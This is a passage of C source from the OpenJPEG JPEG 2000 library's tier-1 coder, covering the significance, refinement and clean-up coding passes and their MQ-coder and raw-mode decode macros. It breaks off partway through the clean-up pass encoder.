static INLINE OPJ_BYTE opj_t1_getctxno_zc(opj_mqc_t *mqc, OPJ_UINT32 f);
static INLINE OPJ_UINT32 opj_t1_getctxno_mag(OPJ_UINT32 f);
static OPJ_INT16 opj_t1_getnmsedec_sig(OPJ_UINT32 x, OPJ_UINT32 bitpos);
static OPJ_INT16 opj_t1_getnmsedec_ref(OPJ_UINT32 x, OPJ_UINT32 bitpos);
static INLINE void opj_t1_update_flags(opj_flag_t *flagsp, OPJ_UINT32 ci,
OPJ_UINT32 s, OPJ_UINT32 stride,
OPJ_UINT32 vsc);
/**
Decode significant pass
*/
static INLINE void opj_t1_dec_sigpass_step_raw(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 oneplushalf,
OPJ_UINT32 vsc,
OPJ_UINT32 row);
static INLINE void opj_t1_dec_sigpass_step_mqc(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 oneplushalf,
OPJ_UINT32 row,
OPJ_UINT32 flags_stride,
OPJ_UINT32 vsc);
/**
Encode significant pass
*/
static void opj_t1_enc_sigpass(opj_t1_t *t1,
OPJ_INT32 bpno,
OPJ_INT32 *nmsedec,
OPJ_BYTE type,
OPJ_UINT32 cblksty);
/**
Decode significant pass
*/
static void opj_t1_dec_sigpass_raw(
opj_t1_t *t1,
OPJ_INT32 bpno,
OPJ_INT32 cblksty);
/**
Encode refinement pass
*/
static void opj_t1_enc_refpass(opj_t1_t *t1,
OPJ_INT32 bpno,
OPJ_INT32 *nmsedec,
OPJ_BYTE type);
/**
Decode refinement pass
*/
static void opj_t1_dec_refpass_raw(
opj_t1_t *t1,
OPJ_INT32 bpno);
/**
Decode refinement pass
*/
static INLINE void opj_t1_dec_refpass_step_raw(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 poshalf,
OPJ_UINT32 row);
static INLINE void opj_t1_dec_refpass_step_mqc(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 poshalf,
OPJ_UINT32 row);
/**
Decode clean-up pass
*/
static void opj_t1_dec_clnpass_step(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 oneplushalf,
OPJ_UINT32 row,
OPJ_UINT32 vsc);
/**
Encode clean-up pass
*/
static void opj_t1_enc_clnpass(
opj_t1_t *t1,
OPJ_INT32 bpno,
OPJ_INT32 *nmsedec,
OPJ_UINT32 cblksty);
static OPJ_FLOAT64 opj_t1_getwmsedec(
OPJ_INT32 nmsedec,
OPJ_UINT32 compno,
OPJ_UINT32 level,
OPJ_UINT32 orient,
OPJ_INT32 bpno,
OPJ_UINT32 qmfbid,
OPJ_FLOAT64 stepsize,
OPJ_UINT32 numcomps,
const OPJ_FLOAT64 * mct_norms,
OPJ_UINT32 mct_numcomps);
static void opj_t1_encode_cblk(opj_t1_t *t1,
opj_tcd_cblk_enc_t* cblk,
OPJ_UINT32 orient,
OPJ_UINT32 compno,
OPJ_UINT32 level,
OPJ_UINT32 qmfbid,
OPJ_FLOAT64 stepsize,
OPJ_UINT32 cblksty,
OPJ_UINT32 numcomps,
opj_tcd_tile_t * tile,
const OPJ_FLOAT64 * mct_norms,
OPJ_UINT32 mct_numcomps);
/**
Decode 1 code-block
@param t1 T1 handle
@param cblk Code-block coding parameters
@param orient
@param roishift Region of interest shifting value
@param cblksty Code-block style
@param p_manager the event manager
@param p_manager_mutex mutex for the event manager
@param check_pterm whether PTERM correct termination should be checked
*/
static OPJ_BOOL opj_t1_decode_cblk(opj_t1_t *t1,
opj_tcd_cblk_dec_t* cblk,
OPJ_UINT32 orient,
OPJ_UINT32 roishift,
OPJ_UINT32 cblksty,
opj_event_mgr_t *p_manager,
opj_mutex_t* p_manager_mutex,
OPJ_BOOL check_pterm);
static OPJ_BOOL opj_t1_allocate_buffers(opj_t1_t *t1,
OPJ_UINT32 w,
OPJ_UINT32 h);
/*@}*/
/*@}*/
/* ----------------------------------------------------------------------- */
static INLINE OPJ_BYTE opj_t1_getctxno_zc(opj_mqc_t *mqc, OPJ_UINT32 f)
{
return mqc->lut_ctxno_zc_orient[(f & T1_SIGMA_NEIGHBOURS)];
}
static INLINE OPJ_UINT32 opj_t1_getctxtno_sc_or_spb_index(OPJ_UINT32 fX,
OPJ_UINT32 pfX,
OPJ_UINT32 nfX,
OPJ_UINT32 ci)
{
/*
0 pfX T1_CHI_THIS T1_LUT_SGN_W
1 tfX T1_SIGMA_1 T1_LUT_SIG_N
2 nfX T1_CHI_THIS T1_LUT_SGN_E
3 tfX T1_SIGMA_3 T1_LUT_SIG_W
4 fX T1_CHI_(THIS - 1) T1_LUT_SGN_N
5 tfX T1_SIGMA_5 T1_LUT_SIG_E
6 fX T1_CHI_(THIS + 1) T1_LUT_SGN_S
7 tfX T1_SIGMA_7 T1_LUT_SIG_S
*/
OPJ_UINT32 lu = (fX >> (ci * 3U)) & (T1_SIGMA_1 | T1_SIGMA_3 | T1_SIGMA_5 |
T1_SIGMA_7);
lu |= (pfX >> (T1_CHI_THIS_I + (ci * 3U))) & (1U << 0);
lu |= (nfX >> (T1_CHI_THIS_I - 2U + (ci * 3U))) & (1U << 2);
if (ci == 0U) {
lu |= (fX >> (T1_CHI_0_I - 4U)) & (1U << 4);
} else {
lu |= (fX >> (T1_CHI_1_I - 4U + ((ci - 1U) * 3U))) & (1U << 4);
}
lu |= (fX >> (T1_CHI_2_I - 6U + (ci * 3U))) & (1U << 6);
return lu;
}
static INLINE OPJ_BYTE opj_t1_getctxno_sc(OPJ_UINT32 lu)
{
return lut_ctxno_sc[lu];
}
static INLINE OPJ_UINT32 opj_t1_getctxno_mag(OPJ_UINT32 f)
{
OPJ_UINT32 tmp = (f & T1_SIGMA_NEIGHBOURS) ? T1_CTXNO_MAG + 1 : T1_CTXNO_MAG;
OPJ_UINT32 tmp2 = (f & T1_MU_0) ? T1_CTXNO_MAG + 2 : tmp;
return tmp2;
}
static INLINE OPJ_BYTE opj_t1_getspb(OPJ_UINT32 lu)
{
return lut_spb[lu];
}
static OPJ_INT16 opj_t1_getnmsedec_sig(OPJ_UINT32 x, OPJ_UINT32 bitpos)
{
if (bitpos > 0) {
return lut_nmsedec_sig[(x >> (bitpos)) & ((1 << T1_NMSEDEC_BITS) - 1)];
}
return lut_nmsedec_sig0[x & ((1 << T1_NMSEDEC_BITS) - 1)];
}
static OPJ_INT16 opj_t1_getnmsedec_ref(OPJ_UINT32 x, OPJ_UINT32 bitpos)
{
if (bitpos > 0) {
return lut_nmsedec_ref[(x >> (bitpos)) & ((1 << T1_NMSEDEC_BITS) - 1)];
}
return lut_nmsedec_ref0[x & ((1 << T1_NMSEDEC_BITS) - 1)];
}
#define opj_t1_update_flags_macro(flags, flagsp, ci, s, stride, vsc) \
{ \
/* east */ \
flagsp[-1] |= T1_SIGMA_5 << (3U * ci); \
\
/* mark target as significant */ \
flags |= ((s << T1_CHI_1_I) | T1_SIGMA_4) << (3U * ci); \
\
/* west */ \
flagsp[1] |= T1_SIGMA_3 << (3U * ci); \
\
/* north-west, north, north-east */ \
if (ci == 0U && !(vsc)) { \
opj_flag_t* north = flagsp - (stride); \
*north |= (s << T1_CHI_5_I) | T1_SIGMA_16; \
north[-1] |= T1_SIGMA_17; \
north[1] |= T1_SIGMA_15; \
} \
\
/* south-west, south, south-east */ \
if (ci == 3U) { \
opj_flag_t* south = flagsp + (stride); \
*south |= (s << T1_CHI_0_I) | T1_SIGMA_1; \
south[-1] |= T1_SIGMA_2; \
south[1] |= T1_SIGMA_0; \
} \
}
static INLINE void opj_t1_update_flags(opj_flag_t *flagsp, OPJ_UINT32 ci,
OPJ_UINT32 s, OPJ_UINT32 stride,
OPJ_UINT32 vsc)
{
opj_t1_update_flags_macro(*flagsp, flagsp, ci, s, stride, vsc);
}
/**
Encode significant pass
*/
static INLINE void opj_t1_enc_sigpass_step(opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 bpno,
OPJ_INT32 one,
OPJ_INT32 *nmsedec,
OPJ_BYTE type,
OPJ_UINT32 ci,
OPJ_UINT32 vsc)
{
OPJ_UINT32 v;
opj_mqc_t *mqc = &(t1->mqc); /* MQC component */
OPJ_UINT32 const flags = *flagsp;
if ((flags & ((T1_SIGMA_THIS | T1_PI_THIS) << (ci * 3U))) == 0U &&
(flags & (T1_SIGMA_NEIGHBOURS << (ci * 3U))) != 0U) {
OPJ_UINT32 ctxt1 = opj_t1_getctxno_zc(mqc, flags >> (ci * 3U));
v = opj_int_abs(*datap) & one ? 1 : 0;
#ifdef DEBUG_ENC_SIG
fprintf(stderr, " ctxt1=%d\n", ctxt1);
#endif
opj_mqc_setcurctx(mqc, ctxt1);
if (type == T1_TYPE_RAW) { /* BYPASS/LAZY MODE */
opj_mqc_bypass_enc(mqc, v);
} else {
opj_mqc_encode(mqc, v);
}
if (v) {
OPJ_UINT32 lu = opj_t1_getctxtno_sc_or_spb_index(
*flagsp,
flagsp[-1], flagsp[1],
ci);
OPJ_UINT32 ctxt2 = opj_t1_getctxno_sc(lu);
v = *datap < 0 ? 1U : 0U;
*nmsedec += opj_t1_getnmsedec_sig((OPJ_UINT32)opj_int_abs(*datap),
(OPJ_UINT32)bpno);
#ifdef DEBUG_ENC_SIG
fprintf(stderr, " ctxt2=%d\n", ctxt2);
#endif
opj_mqc_setcurctx(mqc, ctxt2);
if (type == T1_TYPE_RAW) { /* BYPASS/LAZY MODE */
opj_mqc_bypass_enc(mqc, v);
} else {
OPJ_UINT32 spb = opj_t1_getspb(lu);
#ifdef DEBUG_ENC_SIG
fprintf(stderr, " spb=%d\n", spb);
#endif
opj_mqc_encode(mqc, v ^ spb);
}
opj_t1_update_flags(flagsp, ci, v, t1->w + 2, vsc);
}
*flagsp |= T1_PI_THIS << (ci * 3U);
}
}
static INLINE void opj_t1_dec_sigpass_step_raw(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 oneplushalf,
OPJ_UINT32 vsc,
OPJ_UINT32 ci)
{
OPJ_UINT32 v;
opj_mqc_t *mqc = &(t1->mqc); /* RAW component */
OPJ_UINT32 const flags = *flagsp;
if ((flags & ((T1_SIGMA_THIS | T1_PI_THIS) << (ci * 3U))) == 0U &&
(flags & (T1_SIGMA_NEIGHBOURS << (ci * 3U))) != 0U) {
if (opj_mqc_raw_decode(mqc)) {
v = opj_mqc_raw_decode(mqc);
*datap = v ? -oneplushalf : oneplushalf;
opj_t1_update_flags(flagsp, ci, v, t1->w + 2, vsc);
}
*flagsp |= T1_PI_THIS << (ci * 3U);
}
}
#define opj_t1_dec_sigpass_step_mqc_macro(flags, flagsp, flags_stride, data, \
data_stride, ci, mqc, curctx, \
v, a, c, ct, oneplushalf, vsc) \
{ \
if ((flags & ((T1_SIGMA_THIS | T1_PI_THIS) << (ci * 3U))) == 0U && \
(flags & (T1_SIGMA_NEIGHBOURS << (ci * 3U))) != 0U) { \
OPJ_UINT32 ctxt1 = opj_t1_getctxno_zc(mqc, flags >> (ci * 3U)); \
opj_t1_setcurctx(curctx, ctxt1); \
opj_mqc_decode_macro(v, mqc, curctx, a, c, ct); \
if (v) { \
OPJ_UINT32 lu = opj_t1_getctxtno_sc_or_spb_index( \
flags, \
flagsp[-1], flagsp[1], \
ci); \
OPJ_UINT32 ctxt2 = opj_t1_getctxno_sc(lu); \
OPJ_UINT32 spb = opj_t1_getspb(lu); \
opj_t1_setcurctx(curctx, ctxt2); \
opj_mqc_decode_macro(v, mqc, curctx, a, c, ct); \
v = v ^ spb; \
data[ci*data_stride] = v ? -oneplushalf : oneplushalf; \
opj_t1_update_flags_macro(flags, flagsp, ci, v, flags_stride, vsc); \
} \
flags |= T1_PI_THIS << (ci * 3U); \
} \
}
static INLINE void opj_t1_dec_sigpass_step_mqc(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 oneplushalf,
OPJ_UINT32 ci,
OPJ_UINT32 flags_stride,
OPJ_UINT32 vsc)
{
OPJ_UINT32 v;
opj_mqc_t *mqc = &(t1->mqc); /* MQC component */
opj_t1_dec_sigpass_step_mqc_macro(*flagsp, flagsp, flags_stride, datap,
0, ci, mqc, mqc->curctx,
v, mqc->a, mqc->c, mqc->ct, oneplushalf, vsc);
}
static void opj_t1_enc_sigpass(opj_t1_t *t1,
OPJ_INT32 bpno,
OPJ_INT32 *nmsedec,
OPJ_BYTE type,
OPJ_UINT32 cblksty
)
{
OPJ_UINT32 i, k;
OPJ_INT32 const one = 1 << (bpno + T1_NMSEDEC_FRACBITS);
opj_flag_t* f = &T1_FLAGS(0, 0);
OPJ_UINT32 const extra = 2;
*nmsedec = 0;
#ifdef DEBUG_ENC_SIG
fprintf(stderr, "enc_sigpass: bpno=%d\n", bpno);
#endif
for (k = 0; k < (t1->h & ~3U); k += 4) {
#ifdef DEBUG_ENC_SIG
fprintf(stderr, " k=%d\n", k);
#endif
for (i = 0; i < t1->w; ++i) {
#ifdef DEBUG_ENC_SIG
fprintf(stderr, " i=%d\n", i);
#endif
if (*f == 0U) {
/* Nothing to do for any of the 4 data points */
f++;
continue;
}
opj_t1_enc_sigpass_step(
t1,
f,
&t1->data[((k + 0) * t1->data_stride) + i],
bpno,
one,
nmsedec,
type,
0, cblksty & J2K_CCP_CBLKSTY_VSC);
opj_t1_enc_sigpass_step(
t1,
f,
&t1->data[((k + 1) * t1->data_stride) + i],
bpno,
one,
nmsedec,
type,
1, 0);
opj_t1_enc_sigpass_step(
t1,
f,
&t1->data[((k + 2) * t1->data_stride) + i],
bpno,
one,
nmsedec,
type,
2, 0);
opj_t1_enc_sigpass_step(
t1,
f,
&t1->data[((k + 3) * t1->data_stride) + i],
bpno,
one,
nmsedec,
type,
3, 0);
++f;
}
f += extra;
}
if (k < t1->h) {
OPJ_UINT32 j;
#ifdef DEBUG_ENC_SIG
fprintf(stderr, " k=%d\n", k);
#endif
for (i = 0; i < t1->w; ++i) {
#ifdef DEBUG_ENC_SIG
fprintf(stderr, " i=%d\n", i);
#endif
if (*f == 0U) {
/* Nothing to do for any of the 4 data points */
f++;
continue;
}
for (j = k; j < t1->h; ++j) {
opj_t1_enc_sigpass_step(
t1,
f,
&t1->data[(j * t1->data_stride) + i],
bpno,
one,
nmsedec,
type,
j - k,
(j == k && (cblksty & J2K_CCP_CBLKSTY_VSC) != 0));
}
++f;
}
}
}
static void opj_t1_dec_sigpass_raw(
opj_t1_t *t1,
OPJ_INT32 bpno,
OPJ_INT32 cblksty)
{
OPJ_INT32 one, half, oneplushalf;
OPJ_UINT32 i, j, k;
OPJ_INT32 *data = t1->data;
opj_flag_t *flagsp = &T1_FLAGS(0, 0);
const OPJ_UINT32 l_w = t1->w;
one = 1 << bpno;
half = one >> 1;
oneplushalf = one | half;
for (k = 0; k < (t1->h & ~3U); k += 4, flagsp += 2, data += 3 * l_w) {
for (i = 0; i < l_w; ++i, ++flagsp, ++data) {
opj_flag_t flags = *flagsp;
if (flags != 0) {
opj_t1_dec_sigpass_step_raw(
t1,
flagsp,
data,
oneplushalf,
cblksty & J2K_CCP_CBLKSTY_VSC, /* vsc */
0U);
opj_t1_dec_sigpass_step_raw(
t1,
flagsp,
data + l_w,
oneplushalf,
OPJ_FALSE, /* vsc */
1U);
opj_t1_dec_sigpass_step_raw(
t1,
flagsp,
data + 2 * l_w,
oneplushalf,
OPJ_FALSE, /* vsc */
2U);
opj_t1_dec_sigpass_step_raw(
t1,
flagsp,
data + 3 * l_w,
oneplushalf,
OPJ_FALSE, /* vsc */
3U);
}
}
}
if (k < t1->h) {
for (i = 0; i < l_w; ++i, ++flagsp, ++data) {
for (j = 0; j < t1->h - k; ++j) {
opj_t1_dec_sigpass_step_raw(
t1,
flagsp,
data + j * l_w,
oneplushalf,
cblksty & J2K_CCP_CBLKSTY_VSC, /* vsc */
j);
}
}
}
}
#define opj_t1_dec_sigpass_mqc_internal(t1, bpno, vsc, w, h, flags_stride) \
{ \
OPJ_INT32 one, half, oneplushalf; \
OPJ_UINT32 i, j, k; \
register OPJ_INT32 *data = t1->data; \
register opj_flag_t *flagsp = &t1->flags[(flags_stride) + 1]; \
const OPJ_UINT32 l_w = w; \
opj_mqc_t* mqc = &(t1->mqc); \
DOWNLOAD_MQC_VARIABLES(mqc, curctx, c, a, ct); \
register OPJ_UINT32 v; \
one = 1 << bpno; \
half = one >> 1; \
oneplushalf = one | half; \
for (k = 0; k < (h & ~3u); k += 4, data += 3*l_w, flagsp += 2) { \
for (i = 0; i < l_w; ++i, ++data, ++flagsp) { \
opj_flag_t flags = *flagsp; \
if( flags != 0 ) { \
opj_t1_dec_sigpass_step_mqc_macro( \
flags, flagsp, flags_stride, data, \
l_w, 0, mqc, curctx, v, a, c, ct, oneplushalf, vsc); \
opj_t1_dec_sigpass_step_mqc_macro( \
flags, flagsp, flags_stride, data, \
l_w, 1, mqc, curctx, v, a, c, ct, oneplushalf, OPJ_FALSE); \
opj_t1_dec_sigpass_step_mqc_macro( \
flags, flagsp, flags_stride, data, \
l_w, 2, mqc, curctx, v, a, c, ct, oneplushalf, OPJ_FALSE); \
opj_t1_dec_sigpass_step_mqc_macro( \
flags, flagsp, flags_stride, data, \
l_w, 3, mqc, curctx, v, a, c, ct, oneplushalf, OPJ_FALSE); \
*flagsp = flags; \
} \
} \
} \
UPLOAD_MQC_VARIABLES(mqc, curctx, c, a, ct); \
if( k < h ) { \
for (i = 0; i < l_w; ++i, ++data, ++flagsp) { \
for (j = 0; j < h - k; ++j) { \
opj_t1_dec_sigpass_step_mqc(t1, flagsp, \
data + j * l_w, oneplushalf, j, flags_stride, vsc); \
} \
} \
} \
}
static void opj_t1_dec_sigpass_mqc_64x64_novsc(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
opj_t1_dec_sigpass_mqc_internal(t1, bpno, OPJ_FALSE, 64, 64, 66);
}
static void opj_t1_dec_sigpass_mqc_64x64_vsc(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
opj_t1_dec_sigpass_mqc_internal(t1, bpno, OPJ_TRUE, 64, 64, 66);
}
static void opj_t1_dec_sigpass_mqc_generic_novsc(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
opj_t1_dec_sigpass_mqc_internal(t1, bpno, OPJ_FALSE, t1->w, t1->h,
t1->w + 2U);
}
static void opj_t1_dec_sigpass_mqc_generic_vsc(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
opj_t1_dec_sigpass_mqc_internal(t1, bpno, OPJ_TRUE, t1->w, t1->h,
t1->w + 2U);
}
static void opj_t1_dec_sigpass_mqc(
opj_t1_t *t1,
OPJ_INT32 bpno,
OPJ_INT32 cblksty)
{
if (t1->w == 64 && t1->h == 64) {
if (cblksty & J2K_CCP_CBLKSTY_VSC) {
opj_t1_dec_sigpass_mqc_64x64_vsc(t1, bpno);
} else {
opj_t1_dec_sigpass_mqc_64x64_novsc(t1, bpno);
}
} else {
if (cblksty & J2K_CCP_CBLKSTY_VSC) {
opj_t1_dec_sigpass_mqc_generic_vsc(t1, bpno);
} else {
opj_t1_dec_sigpass_mqc_generic_novsc(t1, bpno);
}
}
}
/**
Encode refinement pass step
*/
static INLINE void opj_t1_enc_refpass_step(opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 bpno,
OPJ_INT32 one,
OPJ_INT32 *nmsedec,
OPJ_BYTE type,
OPJ_UINT32 ci)
{
OPJ_UINT32 v;
opj_mqc_t *mqc = &(t1->mqc); /* MQC component */
OPJ_UINT32 const shift_flags =
(*flagsp >> (ci * 3U));
if ((shift_flags & (T1_SIGMA_THIS | T1_PI_THIS)) == T1_SIGMA_THIS) {
OPJ_UINT32 ctxt = opj_t1_getctxno_mag(shift_flags);
*nmsedec += opj_t1_getnmsedec_ref((OPJ_UINT32)opj_int_abs(*datap),
(OPJ_UINT32)bpno);
v = opj_int_abs(*datap) & one ? 1 : 0;
#ifdef DEBUG_ENC_REF
fprintf(stderr, " ctxt=%d\n", ctxt);
#endif
opj_mqc_setcurctx(mqc, ctxt);
if (type == T1_TYPE_RAW) { /* BYPASS/LAZY MODE */
opj_mqc_bypass_enc(mqc, v);
} else {
opj_mqc_encode(mqc, v);
}
*flagsp |= T1_MU_THIS << (ci * 3U);
}
}
static INLINE void opj_t1_dec_refpass_step_raw(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 poshalf,
OPJ_UINT32 ci)
{
OPJ_UINT32 v;
opj_mqc_t *mqc = &(t1->mqc); /* RAW component */
if ((*flagsp & ((T1_SIGMA_THIS | T1_PI_THIS) << (ci * 3U))) ==
(T1_SIGMA_THIS << (ci * 3U))) {
v = opj_mqc_raw_decode(mqc);
*datap += (v ^ (*datap < 0)) ? poshalf : -poshalf;
*flagsp |= T1_MU_THIS << (ci * 3U);
}
}
#define opj_t1_dec_refpass_step_mqc_macro(flags, data, data_stride, ci, \
mqc, curctx, v, a, c, ct, poshalf) \
{ \
if ((flags & ((T1_SIGMA_THIS | T1_PI_THIS) << (ci * 3U))) == \
(T1_SIGMA_THIS << (ci * 3U))) { \
OPJ_UINT32 ctxt = opj_t1_getctxno_mag(flags >> (ci * 3U)); \
opj_t1_setcurctx(curctx, ctxt); \
opj_mqc_decode_macro(v, mqc, curctx, a, c, ct); \
data[ci*data_stride] += (v ^ (data[ci*data_stride] < 0)) ? poshalf : -poshalf; \
flags |= T1_MU_THIS << (ci * 3U); \
} \
}
static INLINE void opj_t1_dec_refpass_step_mqc(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 poshalf,
OPJ_UINT32 ci)
{
OPJ_UINT32 v;
opj_mqc_t *mqc = &(t1->mqc); /* MQC component */
opj_t1_dec_refpass_step_mqc_macro(*flagsp, datap, 0, ci,
mqc, mqc->curctx, v, mqc->a, mqc->c,
mqc->ct, poshalf);
}
static void opj_t1_enc_refpass(
opj_t1_t *t1,
OPJ_INT32 bpno,
OPJ_INT32 *nmsedec,
OPJ_BYTE type)
{
OPJ_UINT32 i, k;
const OPJ_INT32 one = 1 << (bpno + T1_NMSEDEC_FRACBITS);
opj_flag_t* f = &T1_FLAGS(0, 0);
const OPJ_UINT32 extra = 2U;
*nmsedec = 0;
#ifdef DEBUG_ENC_REF
fprintf(stderr, "enc_refpass: bpno=%d\n", bpno);
#endif
for (k = 0; k < (t1->h & ~3U); k += 4) {
#ifdef DEBUG_ENC_REF
fprintf(stderr, " k=%d\n", k);
#endif
for (i = 0; i < t1->w; ++i) {
#ifdef DEBUG_ENC_REF
fprintf(stderr, " i=%d\n", i);
#endif
if ((*f & (T1_SIGMA_4 | T1_SIGMA_7 | T1_SIGMA_10 | T1_SIGMA_13)) == 0) {
/* none significant */
f++;
continue;
}
if ((*f & (T1_PI_0 | T1_PI_1 | T1_PI_2 | T1_PI_3)) ==
(T1_PI_0 | T1_PI_1 | T1_PI_2 | T1_PI_3)) {
/* all processed by sigpass */
f++;
continue;
}
opj_t1_enc_refpass_step(
t1,
f,
&t1->data[((k + 0) * t1->data_stride) + i],
bpno,
one,
nmsedec,
type,
0);
opj_t1_enc_refpass_step(
t1,
f,
&t1->data[((k + 1) * t1->data_stride) + i],
bpno,
one,
nmsedec,
type,
1);
opj_t1_enc_refpass_step(
t1,
f,
&t1->data[((k + 2) * t1->data_stride) + i],
bpno,
one,
nmsedec,
type,
2);
opj_t1_enc_refpass_step(
t1,
f,
&t1->data[((k + 3) * t1->data_stride) + i],
bpno,
one,
nmsedec,
type,
3);
++f;
}
f += extra;
}
if (k < t1->h) {
OPJ_UINT32 j;
#ifdef DEBUG_ENC_REF
fprintf(stderr, " k=%d\n", k);
#endif
for (i = 0; i < t1->w; ++i) {
#ifdef DEBUG_ENC_REF
fprintf(stderr, " i=%d\n", i);
#endif
if ((*f & (T1_SIGMA_4 | T1_SIGMA_7 | T1_SIGMA_10 | T1_SIGMA_13)) == 0) {
/* none significant */
f++;
continue;
}
for (j = k; j < t1->h; ++j) {
opj_t1_enc_refpass_step(
t1,
f,
&t1->data[(j * t1->data_stride) + i],
bpno,
one,
nmsedec,
type,
j - k);
}
++f;
}
}
}
static void opj_t1_dec_refpass_raw(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
OPJ_INT32 one, poshalf;
OPJ_UINT32 i, j, k;
OPJ_INT32 *data = t1->data;
opj_flag_t *flagsp = &T1_FLAGS(0, 0);
const OPJ_UINT32 l_w = t1->w;
one = 1 << bpno;
poshalf = one >> 1;
for (k = 0; k < (t1->h & ~3U); k += 4, flagsp += 2, data += 3 * l_w) {
for (i = 0; i < l_w; ++i, ++flagsp, ++data) {
opj_flag_t flags = *flagsp;
if (flags != 0) {
opj_t1_dec_refpass_step_raw(
t1,
flagsp,
data,
poshalf,
0U);
opj_t1_dec_refpass_step_raw(
t1,
flagsp,
data + l_w,
poshalf,
1U);
opj_t1_dec_refpass_step_raw(
t1,
flagsp,
data + 2 * l_w,
poshalf,
2U);
opj_t1_dec_refpass_step_raw(
t1,
flagsp,
data + 3 * l_w,
poshalf,
3U);
}
}
}
if (k < t1->h) {
for (i = 0; i < l_w; ++i, ++flagsp, ++data) {
for (j = 0; j < t1->h - k; ++j) {
opj_t1_dec_refpass_step_raw(
t1,
flagsp,
data + j * l_w,
poshalf,
j);
}
}
}
}
#define opj_t1_dec_refpass_mqc_internal(t1, bpno, w, h, flags_stride) \
{ \
OPJ_INT32 one, poshalf; \
OPJ_UINT32 i, j, k; \
register OPJ_INT32 *data = t1->data; \
register opj_flag_t *flagsp = &t1->flags[flags_stride + 1]; \
const OPJ_UINT32 l_w = w; \
opj_mqc_t* mqc = &(t1->mqc); \
DOWNLOAD_MQC_VARIABLES(mqc, curctx, c, a, ct); \
register OPJ_UINT32 v; \
one = 1 << bpno; \
poshalf = one >> 1; \
for (k = 0; k < (h & ~3u); k += 4, data += 3*l_w, flagsp += 2) { \
for (i = 0; i < l_w; ++i, ++data, ++flagsp) { \
opj_flag_t flags = *flagsp; \
if( flags != 0 ) { \
opj_t1_dec_refpass_step_mqc_macro( \
flags, data, l_w, 0, \
mqc, curctx, v, a, c, ct, poshalf); \
opj_t1_dec_refpass_step_mqc_macro( \
flags, data, l_w, 1, \
mqc, curctx, v, a, c, ct, poshalf); \
opj_t1_dec_refpass_step_mqc_macro( \
flags, data, l_w, 2, \
mqc, curctx, v, a, c, ct, poshalf); \
opj_t1_dec_refpass_step_mqc_macro( \
flags, data, l_w, 3, \
mqc, curctx, v, a, c, ct, poshalf); \
*flagsp = flags; \
} \
} \
} \
UPLOAD_MQC_VARIABLES(mqc, curctx, c, a, ct); \
if( k < h ) { \
for (i = 0; i < l_w; ++i, ++data, ++flagsp) { \
for (j = 0; j < h - k; ++j) { \
opj_t1_dec_refpass_step_mqc(t1, flagsp, data + j * l_w, poshalf, j); \
} \
} \
} \
}
static void opj_t1_dec_refpass_mqc_64x64(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
opj_t1_dec_refpass_mqc_internal(t1, bpno, 64, 64, 66);
}
static void opj_t1_dec_refpass_mqc_generic(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
opj_t1_dec_refpass_mqc_internal(t1, bpno, t1->w, t1->h, t1->w + 2U);
}
static void opj_t1_dec_refpass_mqc(
opj_t1_t *t1,
OPJ_INT32 bpno)
{
if (t1->w == 64 && t1->h == 64) {
opj_t1_dec_refpass_mqc_64x64(t1, bpno);
} else {
opj_t1_dec_refpass_mqc_generic(t1, bpno);
}
}
/**
Encode clean-up pass step
*/
static void opj_t1_enc_clnpass_step(
opj_t1_t *t1,
opj_flag_t *flagsp,
OPJ_INT32 *datap,
OPJ_INT32 bpno,
OPJ_INT32 one,
OPJ_INT32 *nmsedec,
OPJ_UINT32 agg,
OPJ_UINT32 runlen,
OPJ_UINT32 lim,
OPJ_UINT32 cblksty)
{
OPJ_UINT32 v;
OPJ_UINT32 ci;
opj_mqc_t *mqc = &(t1->mqc); /* MQC component */
const OPJ_UINT32 check = (T1_SIGMA_4 | T1_SIGMA_7 | T1_SIGMA_10 | T1_SIGMA_13 |
T1_PI_0 | T1_PI_1 | T1_PI_2 | T1_PI_3);
if ((*flagsp & check) == check) {
if (runlen == 0) {
*flagsp &= ~(T1_PI_0 | T1_PI_1 | T1_PI_2 | T1_PI_3);
} else if (runlen == 1) {
*flagsp &= ~(T1_PI_1 | T1_PI_2 | T1_PI_3);
} else if (runlen == 2) {
*flagsp &= ~(T1_PI_2 | T1_PI_3);
} else if (runlen == 3) {
*flagsp &= ~(T1_PI_3);
}
return;
}
for (ci = runlen; ci < lim; ++ci) {
OPJ_UINT32 vsc;
opj_flag_t flags;
flags = *flagsp;
if ((agg != 0) && (ci == runlen)) {
goto LABEL_PARTIAL;
}
if (!(flags & ((T1_SIGMA_THIS | T1_PI_THIS) << (ci * 3U)))) {
OPJ_UINT32 ctxt1 = opj_t1_getctxno_zc(mqc, flags >> (ci * 3U));
#ifdef DEBUG_ENC_CLN
printf(" ctxt1=%d\n", ctxt1);
#endif
opj_mqc_setcurctx(mqc, ctxt1);
v = opj_int_abs(*datap) & one ? 1 : 0;
opj_mqc_encode(mqc, v);
if (v) {
OPJ_UINT32 ctxt2, spb;
OPJ_UINT32 lu;
LABEL_PARTIAL:
lu = opj_t1_getctxtno_sc_or_spb_index(
*flagsp,
flagsp[-1], flagsp[1],
ci);
*nmsedec += opj_t1_getnmsedec_sig((OPJ_UINT32)opj_int_abs(*datap),
(OPJ_UINT32)bpno);
ctxt2 = opj_t1_getctxno_sc(lu);
